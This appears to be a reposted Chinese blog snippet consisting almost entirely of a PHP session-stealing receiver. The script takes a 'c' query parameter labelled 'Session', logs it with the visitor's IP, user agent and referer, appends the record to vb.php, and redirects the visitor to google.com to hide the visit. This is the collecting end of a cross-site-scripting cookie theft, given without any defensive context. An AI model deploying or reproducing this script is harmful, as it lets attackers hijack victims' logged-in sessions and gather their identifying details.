标签:
<?php
$ip = $_SERVER[‘REMOTE_ADDR‘];
$referer = $_SERVER[‘HTTP_REFERER‘];
$agent = $_SERVER[‘HTTP_USER_AGENT‘];
$data = $_GET[c];
$time = date("Y-m-d H:i:s");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer: ".$referer."<br>Session: ".$data."<br><br><br>";
$file = fopen(‘vb.php‘ , ‘a‘);
fwrite($file,$text);
fclose($file);
header("Location: http://www.google.com");
?>
标签:
原文地址:http://www.cnblogs.com/LoveJulin/p/4285299.html